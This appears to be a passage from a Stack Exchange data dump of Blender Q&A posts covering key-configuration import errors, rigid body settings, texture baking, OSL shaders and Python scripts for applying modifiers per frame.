  <row Id="19392" PostTypeId="1" AcceptedAnswerId="19406" CreationDate="2014-11-30T23:59:33.017" Score="1" ViewCount="610" Body="&lt;p&gt;I'm interested in using Blender as a video editing software.&#xA;I found a decent tutorial introducing that topic and providing really useful key configuration file, which helps using Blender with a workflow similar to Final Cut Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is -- importing that particular configuration file ends each time with this error:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Y7NjJ.png&quot; alt=&quot;key configuration import error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a transcription of the essentials:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;...\Blender\2.72\scripts\modules\bpy\utils.py&quot;, line 509, in keyconfig_set&#xA;    {&quot;_file_&quot;:filepath})&#xA;&#xA;File &quot;...\FCP_KeyPreset.py&quot;, line 118, in &amp;lt;module&amp;gt;&#xA;   kmi.properties.left_right = False&#xA;&#xA;TypeError: bpy_struct: item.attr = val: expected a string enum, not bool&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Known facts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I run Blender 2.72b on Windows 8.1 x64.&lt;/li&gt;&#xA;&lt;li&gt;My Blender is fresh and clean -- I tried to import my key configuration moments after I installed Blender.&lt;/li&gt;&#xA;&lt;li&gt;Author of the file is a Mac user and he definitely used older version of Blender, but I don't know which version.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The file can be found here: &lt;a href=&quot;http://processdiary.com/content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download link for key configuration file&lt;/a&gt;.&#xA;It might be worth noticing, that this preset is a part of a video tutorial, which can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=te9HFQVaSUE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Editing in Blender - Introduction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;halp plox :)&lt;/p&gt;&#xA;" OwnerUserId="8265" LastActivityDate="2014-12-06T21:35:16.160" Title="Import key configuration error -- simple problem?" Tags="&lt;python&gt;&lt;customization&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19394" PostTypeId="2" ParentId="19387" CreationDate="2014-12-01T01:07:53.477" Score="7" Body="&lt;p&gt;AFAIK Bullet (the library blender uses for rigid body simulations) is designed more for real-time speed over accuracy, so you might have to use some tricks.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the objects in the tower and enable &lt;em&gt;Enable Deactivation&lt;/em&gt; and &lt;em&gt;Start Deactivated&lt;/em&gt; in &lt;em&gt;Properties &gt; Physics &gt; Rigid Body Collisions&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCCBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then right click on each setting and select &lt;em&gt;Copy to selected&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make it so the tower will not be simulated until another active rigid body comes near it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the number of simulation steps in &lt;em&gt;Properties &gt; Scene &gt; Rigid Body World&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTtlX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The higher this value is, the more CPU time is needed to calculate the simulation. However, higher values will also make the simulation more accurate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://gfycat.com/SnappyOptimalFirefly&quot; rel=&quot;nofollow noreferrer&quot;&gt;Result&lt;/a&gt;:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SnappyOptimalFirefly&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/SnappyOptimalFirefly.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.803" LastActivityDate="2014-12-01T20:29:56.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19395" PostTypeId="2" ParentId="16477" CreationDate="2014-12-01T01:27:23.447" Score="1" Body="&lt;p&gt;In order to make a UV Mapped image appear in Object Mode, I found it was necessary to both:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the Viewport Shading mode (The button just to the right of the Edit/Object mode selector in 3D View) to &quot;Texture Mode&quot;&lt;/li&gt;&#xA;&lt;li&gt;Set Properties -&gt; Shading (game_settings.material_mode) to GLSL (OpenGL Shading Language)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8264" LastActivityDate="2014-12-01T01:27:23.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19396" PostTypeId="1" CreationDate="2014-12-01T01:34:26.267" Score="1" ViewCount="828" Body="&lt;p&gt;I'm using blender to create a 2-D animation. I have made a character by importing .pngs of the characters body parts, placing them together and applying a rig (I used this tutorial: &lt;a href=&quot;https://www.youtube.com/watch?v=htFYQcvHXUs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=htFYQcvHXUs&lt;/a&gt;). But when I go to render the animation, the character's limbs are in each others way; the head overlaps a bit of the chest and some of his shoulder and his arms when when he raises them above his head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybSJt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q9Ypr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what I did wrong/how I can fix this?&lt;/p&gt;&#xA;" OwnerUserId="7488" LastEditorUserId="2217" LastEditDate="2014-12-03T18:40:14.087" LastActivityDate="2014-12-03T18:40:14.087" Title="rendering a rigged 2D character" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;rigging&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19397" PostTypeId="2" ParentId="19101" CreationDate="2014-12-01T01:36:02.013" Score="2" Body="&lt;p&gt;You wont be able to actually &quot;transfer&quot; the player object in-game.  But you can create an instance of the player in each scene beforehand.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move the player to (0, 0, 0) on a non-visible layer&lt;/li&gt;&#xA;&lt;li&gt;Add it to a new group.  I named mine &quot;Player&quot;&lt;/li&gt;&#xA;&lt;li&gt;Do Shift+A -&gt; Group Instance -&gt; Player in each scene that needs to contain the player.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Xa4p.png&quot; alt=&quot;Creating a group object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method will not copy properties that have changed since the scene started.  You'll likely need a Python script for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - Quick example of transferring specific properties between scenes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Run this on your player right before changing scenes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def saveProps(cont):&#xA;    own = cont.owner&#xA;&#xA;    props = {}&#xA;    props['name_of_property'] = own['name_of_property']&#xA;    props['another_property'] = own['another_property']&#xA;    # ... etc&#xA;&#xA;    bge.logic.player_props = props&#xA;&#xA;if __name__ == '__main__':&#xA;    cont = bge.logic.getCurrentController()&#xA;    saveProps(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; And run this when a scene first loads, basically the first script in reverse.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def getProps(cont):&#xA;    own = cont.owner&#xA;&#xA;    try:&#xA;        props = bge.logic.player_props&#xA;    except:&#xA;        # Props dict not defined.  This was likely the first scene.&#xA;        return&#xA;&#xA;    own['name_of_property'] = props['name_of_property']&#xA;    own['another_property'] = props['another_property']&#xA;&#xA;if __name__ == '__main__':&#xA;    cont = bge.logic.getCurrentController()&#xA;    getProps(cont)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastEditorUserId="8075" LastEditDate="2014-12-20T09:09:58.873" LastActivityDate="2014-12-20T09:09:58.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19398" PostTypeId="2" ParentId="19341" CreationDate="2014-12-01T02:09:59.953" Score="1" Body="&lt;p&gt;It appears to be a bug in 2.72 versions. I created a simple scene of a cube with a bump and a color texture in 2.72b and then downloaded copies of 2.69, 2.70a, 2.71, 2.72, 2.72a, and a standalone zip of 2.72b. Everything works as it should up to 2.71. The problem showed up in 2.72 so I didn't even bother with the a and b versions. I've put in a ticket on the bug tracker at &lt;a href=&quot;https://developer.blender.org/T42769&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T42769&lt;/a&gt; so if anyone is having the same issue they can track the issue there.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-12-01T02:09:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19399" PostTypeId="1" AcceptedAnswerId="19401" CreationDate="2014-12-01T03:29:43.190" Score="6" ViewCount="1165" Body="&lt;p&gt;I have encountered a strange phenomenon, it must be some key I hit but I have no idea what!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of a sudden I noticed that nothing will rotate or scale in object mode in a project I am working on.  After playing around with some basic settings I noticed that when I set the &lt;em&gt;pivot center&lt;/em&gt; to the &lt;em&gt;3d cursor&lt;/em&gt; and try to rotate something it simply moves the object around the 3d cursor without rotating it.  Scaling the object moves it towards or away from the 3d cursor.  Here is a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pn40Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that I have somehow locked local rotation and scaling of all objects, the only way I can rotate or scale anything is in edit mode.  How on earth did I do that and how do I turn it off?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-12-02T01:40:23.533" Title="What setting locks local rotation and scaling of an object?" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19401" PostTypeId="2" ParentId="19399" CreationDate="2014-12-01T05:00:20.447" Score="10" Body="&lt;p&gt;It sounds like you have activated the &lt;em&gt;Manipulate Pivot Points&lt;/em&gt; tool.  It's found directly to the right of the Pivot Point selection menu in &lt;em&gt;3D view &gt; Header&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESmKo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can also be toggled with &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; (comma).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you mistakenly press some keyboard shortcut that ends up causing you grief like this; you can try pulling down the top header bar to view the Info area.  It should contain most of what you've recently done.(to view EVERYTHING you'd have to enable debug logging, that's gets messy quickly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaJpR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-12-02T01:40:23.533" LastActivityDate="2014-12-02T01:40:23.533" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19403" PostTypeId="1" AcceptedAnswerId="19404" CreationDate="2014-12-01T10:22:48.597" Score="2" ViewCount="2019" Body="&lt;p&gt;I duplicated an object and then added an animation to one of them, the animation appears in both objects in the outliner, also in the dope sheet and graphic editor and I can't remove the animation from one of them without removing it from the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I removed all the key frames and the animation from the dope sheet and graph editor, also unlinked the animation in the outliner but the animation is still showing in the outliner and every time I try to ad a new one, it becomes shared by both objects again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2cXr6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="761" LastActivityDate="2014-12-01T10:39:04.953" Title="How to remove animation from duplicated object?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19404" PostTypeId="2" ParentId="19403" CreationDate="2014-12-01T10:39:04.953" Score="6" Body="&lt;p&gt;That's because you didn't duplicate the object (which is done by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;), you instanced it (done by pressing &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that, when using the second method, all of the object's properties get linked to another's, so, editting one will result in all being modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To unlink a object, you use &lt;em&gt;Make Single User&lt;/em&gt;, by pressing &lt;kbd&gt;U&lt;/kbd&gt;, in &lt;em&gt;Object Mode&lt;/em&gt;, which will give you a list of possible data to unlink. As you seem to only want independent animations, then choose &lt;code&gt;Object Animation&lt;/code&gt; on the list that shows up&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-01T10:39:04.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19405" PostTypeId="2" ParentId="19368" CreationDate="2014-12-01T11:00:05.353" Score="3" Body="&lt;p&gt;You should avoid operators whenever possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;frame_current = scene.frame_current&#xA;&#xA;for f in range(scene.frame_start, scene.frame_end + 1):&#xA;    scene.frame_set(f)&#xA;&#xA;    meshes = []&#xA;    for ob in scene.objects:&#xA;        if ob.type == 'MESH' and ob.name.startswith(&quot;model&quot;):&#xA;            me = ob.to_mesh(scene, True, 'PREVIEW')&#xA;            meshes.append(me)&#xA;&#xA;    # do something with the meshes (note: they aren't linked to anything)&#xA;&#xA;    # Clean up mesh copies&#xA;    for me in meshes:&#xA;        bpy.data.meshes.remove(me)&#xA;&#xA;scene.frame_set(frame_current)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will apply modifiers to all mesh objects in the current scene that start with the name &lt;code&gt;model&lt;/code&gt;. The resulting (new!) mesh datablocks can be used for export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however, that you will have to create objects and link the meshes to them if you plan to call an export operator - they usually export all (selected) objects, not invisible mesh datablocks. You may wanna check out the exporter code and see if you can import the actual export routine to avoid that operator call and maybe even the object creation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to apply animation in a way, that there's one static object per frame of an animated model, you may use the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;frame_current = scene.frame_current&#xA;&#xA;r = range(scene.frame_start, scene.frame_end + 1)&#xA;l = len(str(len(r)))&#xA;obs = []&#xA;&#xA;for f in r:&#xA;    scene.frame_set(f)&#xA;&#xA;    for ob in scene.objects:&#xA;        if ob.type == 'MESH' and ob.name.startswith(&quot;model&quot;):&#xA;            me = ob.to_mesh(scene, True, 'PREVIEW')&#xA;            me.transform(ob.matrix_world)&#xA;            new_ob = bpy.data.objects.new(&quot;%s_frame%0*i&quot; % (ob.name, l, f), me)&#xA;            obs.append(new_ob)&#xA;&#xA;scene.frame_set(frame_current)&#xA;for ob in obs:&#xA;    scene.objects.link(ob)&#xA;scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It applies modifiers as well as transformations (&lt;code&gt;.matrix_world&lt;/code&gt;, so loc/rot/scale).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2017-07-26T21:09:28.517" LastActivityDate="2017-07-26T21:09:28.517" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19406" PostTypeId="2" ParentId="19392" CreationDate="2014-12-01T12:15:03.950" Score="1" Body="&lt;p&gt;This is a change made in blender 2.72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The select operator in the sequencer used to use a boolean value (True or False) to select before or after the current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in 2.72 it can use 'NONE' 'LEFT' 'RIGHT' or 'MOUSE'. While the boolean values can be entered as True and False the enumerated values need to be in a quoted string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe to get the closest match would be -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find instances of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kmi.properties.left_right = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace them with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kmi.properties.left_right = 'MOUSE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kmi.properties.left_right = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kmi.properties.left_right = 'NONE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you may want to experiment and adjust it as desired.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-01T12:15:03.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19407" PostTypeId="2" ParentId="19385" CreationDate="2014-12-01T14:26:25.717" Score="7" Body="&lt;p&gt;Bender uses python for the user interface and it can also automate many tasks that manipulate blenders data. However when you want to customise a material python isn't much help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use blender internal render engine you will find that there is some support for &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Volume/Voxel_Data&quot;&gt;external voxel data&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles, I think your best option would be an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/OSL&quot;&gt;OSL shader&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a quick sample script as a starting point for you -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float myFunc(float x, float y, float z)&#xA;{&#xA;    return 1.5;&#xA;}&#xA;&#xA;shader MyVolShader(&#xA;    color   BaseColour = color(1.0,0.0,0.0),&#xA;    output closure color Volume = 0)&#xA;{&#xA;    // P is the current point&#xA;    // P[0] == x&#xA;    // P[1] == y&#xA;    // P[2] == z&#xA;    Volume = (BaseColour * myFunc(P[0], P[1], P[2])) * absorption();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then fillin myFunc using your algorithm, and the final colour as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want volume scattering, swap &lt;code&gt;absorption()&lt;/code&gt; with &lt;code&gt;henyey_greenstein(0.0)&lt;/code&gt; in the final calculation (or add them together).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/imageworks/OpenShadingLanguage/raw/master/src/doc/osl-languagespec.pdf&quot;&gt;OSL Language reference&lt;/a&gt; should be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a collection of &lt;a href=&quot;https://github.com/sambler/osl-shaders&quot;&gt;OSL scripts here&lt;/a&gt; but none that use volume yet.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-01T14:26:25.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19408" PostTypeId="1" CreationDate="2014-12-01T15:40:08.237" Score="1" ViewCount="184" Body="&lt;p&gt;I have stumbled upon the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I import into blender an .stl file exported from the AutoCAD (even relatively simple model - something like cube with rounded corners i.e. dice)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I try to apply a Boolean modifier on it and an another mesh (created directly in blender), for example a cylinder, then I test every possible operation, i.e. dice union cylinder, dice intersect cylinder and dice minus cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the resulting object seems to be a result of the operation OPPOSED to the selected, that is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3a) if I choose &quot;union&quot; then the result looks like &quot;difference&quot; (dice with part of cylinder removed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3b) if I choose &quot;difference&quot; then the result looks like &quot;union&quot; (dice and cylinder together)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3c) if I choose &quot;intersection&quot; then the result looks like cylinder minus dice (sic!) (cylinder with the part of the dice removed). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the blender treats the dice as being everywhere EXCEPT the dice itself (a set complement to the dice). It is strange, because the normals seems normal ;) i.e. they point outwards from the dice surface (in N-menu I choose to show normals). Have anybody seen such a issue? Is there a way to &quot;fix&quot; this? Anybody knows what is the purpose of this? &lt;/p&gt;&#xA;" OwnerUserId="8270" LastActivityDate="2014-12-01T15:40:08.237" Title="Imported CAD .stl models behaves &quot;strangely&quot; with the modifiers" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;import&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19409" PostTypeId="1" AcceptedAnswerId="19410" CreationDate="2014-12-01T16:40:38.417" Score="2" ViewCount="827" Body="&lt;p&gt;Hi I'm having a problem with baking textures. I have done one but I don't know how to add this texture to an object to speed up rendering. The texture is visible in Viewport Shading: Texture. But rendering is as slow as before. Is it possible to turn off shadows and other things for only this object with baked texture?&lt;/p&gt;&#xA;" OwnerUserId="8272" LastEditorDisplayName="user7952" LastEditDate="2014-12-01T17:00:05.110" LastActivityDate="2014-12-01T20:31:19.133" Title="Add baked texture to render (Cycles)" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19410" PostTypeId="2" ParentId="19409" CreationDate="2014-12-01T16:55:37.470" Score="2" Body="&lt;p&gt;What you wan't to do is use an emission shade-less material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the material node editor, use a setup like this (The UV map is optional) It is important to keep the strength of the emission node down to 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SzUSF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If everything in your scene is baked, use this to cut render times:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also avoid a-lot of extra calculations by cutting down on the samples and light bounces. You can set all of these values to 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mbqjj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-01T20:31:19.133" LastActivityDate="2014-12-01T20:31:19.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19411" PostTypeId="2" ParentId="19409" CreationDate="2014-12-01T16:55:39.057" Score="4" Body="&lt;p&gt;&lt;strong&gt;Once you have the texture baked you need to assign it as an emission material to the object.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to the node editor  &lt;/li&gt;&#xA;&lt;li&gt;Disconnect any nodes you have plugged into the &lt;em&gt;surface&lt;/em&gt; socket on the &lt;em&gt;material output&lt;/em&gt; node (you needn't delete them).  &lt;/li&gt;&#xA;&lt;li&gt;Add an &lt;em&gt;emission&lt;/em&gt; shader and an &lt;em&gt;image texture&lt;/em&gt; node.  &lt;/li&gt;&#xA;&lt;li&gt;Select the baked texture on the image texture node and plug it into the color input of the emission shader and plug the emission shader into the surface output.  Make sure the &lt;em&gt;strength&lt;/em&gt; of the emission shader is 1.00.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that if the camera is animated, baked glossy sharers will not look right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reference, see Andrew Price's &lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-baking-cycles/#.VHyc95UtDX4&quot; rel=&quot;nofollow&quot;&gt;Introduction to Baking in Cycles&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-12-01T17:01:07.330" LastActivityDate="2014-12-01T17:01:07.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19412" PostTypeId="1" CreationDate="2014-12-01T17:01:49.837" Score="2" ViewCount="398" Body="&lt;p&gt;This took me a while to find so I'm adding it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to use the &lt;code&gt;Project From View&lt;/code&gt; &lt;code&gt;UV Unwrap&lt;/code&gt; and because 1. there's no way to roll the view camera and 2. the camera gimbal locks at the poles I was having a lot of trouble getting the correct direction to match my texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is of course to put the camera in quaternion mode, but I had no idea how to achieve this. There's the &lt;code&gt;Transform Orientation&lt;/code&gt; selection box which has the &lt;code&gt;Gimbal&lt;/code&gt; option but this is not for the camera's transform.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2019-03-17T14:22:19.173" Title="Use quaternions/remove gimbal lock from blender view" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19413" PostTypeId="2" ParentId="19412" CreationDate="2014-12-01T17:01:49.837" Score="3" Body="&lt;p&gt;What I wanted was to change the &lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View#TrackBall.2FTurntable&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;TrackBall/Turntable&lt;/strong&gt;&lt;/a&gt; option in &lt;strong&gt;&lt;code&gt;File-&amp;gt;Preferences-&amp;gt;Input&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nxqmi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nxqmi.png&quot; alt=&quot;image&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://wiki.blender.org/uploads/2/28/Manual-Part-I-Interface-Navigating-InfoWindow-ViewRotation2.5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/657/what-is-the-difference-between-the-trackball-and-turntable-style-view-modes&quot;&gt;What is the difference between the trackball and turntable style view modes?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-17T14:22:19.173" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19414" PostTypeId="2" ParentId="19319" CreationDate="2014-12-01T17:11:58.133" Score="1" Body="&lt;p&gt;Shadeless materials often seem to lack proper dimensions, seeing as, our eyes in the real world perceive the 3rd dimension through depth and shading. In blender, without any depth being given to a two dimensional screen (depth meaning here that you would move your head and see the image change accordingly) we can only rely on shading and good dimensional techniques.&lt;/p&gt;&#xA;&lt;p&gt;Here is a shadeless sphere, looks just like a circle.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TUQP6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The same sphere with the option &lt;em&gt;Shadeless&lt;/em&gt; turned off. (Material.use_shadeless) looks like a dandy sphere.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIs7i.png&quot; 